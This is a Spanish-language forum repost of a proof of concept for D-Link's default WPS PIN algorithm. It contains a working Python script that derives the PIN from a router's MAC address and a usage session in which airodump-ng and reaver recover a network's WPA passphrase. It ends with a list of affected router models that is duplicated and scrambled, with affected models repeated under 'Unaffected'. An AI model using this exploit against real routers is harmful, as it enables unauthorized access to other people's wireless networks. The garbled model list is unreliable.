http://www.devttys0.com/2014/10/reversing-d-links-wps-pin-algorithm/
Prueba de concepto:
Código:
#!/usr/bin/env python
#
# Calculates the default WPS pin from the BSSID/MAC of many D-Link routers/APs.
#
# Craig Heffner
# Tactical Network Solutions
class WPSException(Exception):
pass
class WPS(object):
def checksum(self, pin):
'''
Standard WPS checksum algorithm.
@pin - A 7 digit pin to calculate the checksum for.
Returns the checksum value.
'''
accum = 0
while pin:
accum += (3 * (pin % 10))
pin = int(pin / 10)
accum += (pin % 10)
pin = int(pin / 10)
return ((10 - accum % 10) % 10)
class DLink(object):
def __init__(self):
self.wps = WPS()
def __mac2nic(self, mac):
'''
Parses out the NIC portion of an ASCII MAC address.
@mac_address - An ASCII string MAC address or NIC,
with or without delimiters.
Returns the NIC portion of the MAC address as an int.
'''
mac = mac.replace(':', '').replace('-', '')
if len(mac) == 12:
try:
nic = int(mac[6:], 16)
except ValueError as e:
raise WPSException("Invalid NIC: [%s]" % mac[6:])
elif len(mac) == 6:
try:
nic = int(mac, 16)
except ValueError as e:
raise WPSException("Invalid NIC: [%s]" % mac)
else:
raise WPSException("Invalid MAC address: [%s]" % mac)
return nic
def generate(self, mac):
'''
Calculates the default WPS pin from the NIC portion of the MAC address.
@mac - The MAC address string.
Returns the calculated default WPS pin, including checksum.
'''
nic = self.__mac2nic(mac)
# Do some XOR operations on the NIC
pin = nic ^ 0x55AA55
pin = pin ^ (((pin & 0x0F) << 4) +
((pin & 0x0F) << 8) +
((pin & 0x0F) << 12) +
((pin & 0x0F) << 16) +
((pin & 0x0F) << 20))
# The largest possible remainder for any value divided by 10,000,000
# is 9,999,999 (7 digits). The smallest possible remainder is, obviously, 0.
pin = pin % int(10e6)
# If the pin is less than 1,000,000 (i.e., less than 7 digits)
if pin < int(10e5):
# The largest possible remainder for any value divided by 9 is
# 8; hence this adds at most 9,000,000 to the pin value, and at
# least 1,000,000. This guarantees that the pin will be 7 digits
# long, and also means that it won't start with a 0.
pin += ((pin % 9) * int(10e5)) + int(10e5);
# The final 8 digit pin is the 7 digit value just computed, plus a
# checksum digit.
return (pin * 10) + self.wps.checksum(pin)
if __name__ == '__main__':
import sys
try:
mac = sys.argv[1]
except IndexError:
print ("Usage: %s <mac>" % sys.argv[0])
sys.exit(1)
try:
print ("Default pin: %d" % DLink().generate(mac))
except WPSException as e:
print (str(e))
sys.exit(1)
Ejemplo de uso:
Código:
$ sudo airodump-ng mon0 -c 4
CH 4 ][ Elapsed: 0 s ][ 2014-09-11 11:44 ][ fixed channel mon0: -1
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
C0:A0:BB:EF:B3:D6 -13 0 6 0 0 4 54e WPA2 CCMP PSK dlink-B3D6
$ ./pingen C0:A0:BB:EF:B3:D7 # <--- WAN MAC is BSSID+1
Default Pin: 99767389
$ sudo reaver -i mon0 -b C0:A0:BB:EF:B3:D6 -c 4 -p 99767389
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
[+] Waiting for beacon from C0:A0:BB:EF:B3:D6
[+] Associated with C0:A0:BB:EF:B3:D6 (ESSID: dlink-B3D6)
[+] WPS PIN: '99767389'
[+] WPA PSK: 'hluig79268'
[+] AP SSID: 'dlink-B3D6'
Routers afectados:
Citar
Confirmed Affected:
DIR-810L
DIR-826L
DIR-632
DHP-1320
DIR-835
DIR-615 revs: B2, C1, E1, E3
DIR-657
DIR-827
DIR-857
DIR-451
DIR-655 revs: A3, A4, B1
DIR-825 revs: A1, B1
DIR-651
DIR-855
DIR-628
DGL-4500
DIR-601 revs: A1, B1
DIR-836L
DIR-808L
DIR-636L
DAP-1350
DAP-1555
Confirmed Unaffected:
DIR-815
DIR-505L
DIR-300
DIR-850L
DIR-412
DIR-600
DIR-685
DIR-817LW
DIR-818LW
DIR-803
DIR-845L
DIR-816L
DIR-860L
DIR-645
DIR-685
DAP-1522
DIR-810L
DIR-826L
DIR-632
DHP-1320
DIR-835
DIR-615 revs: B2, C1, E1, E3
DIR-657
DIR-827
DIR-857
DIR-451
DIR-655 revs: A3, A4, B1
DIR-825 revs: A1, B1
DIR-651
DIR-855
DIR-628
DGL-4500
DIR-601 revs: A1, B1
DIR-836L
DIR-808L
DIR-636L
DAP-1350
DAP-1555
Confirmed Unaffected:
DIR-815
DIR-505L
DIR-300
DIR-850L
DIR-412
DIR-600
DIR-685
DIR-817LW
DIR-818LW
DIR-803
DIR-845L
DIR-816L
DIR-860L
DIR-645
DIR-685
DAP-1522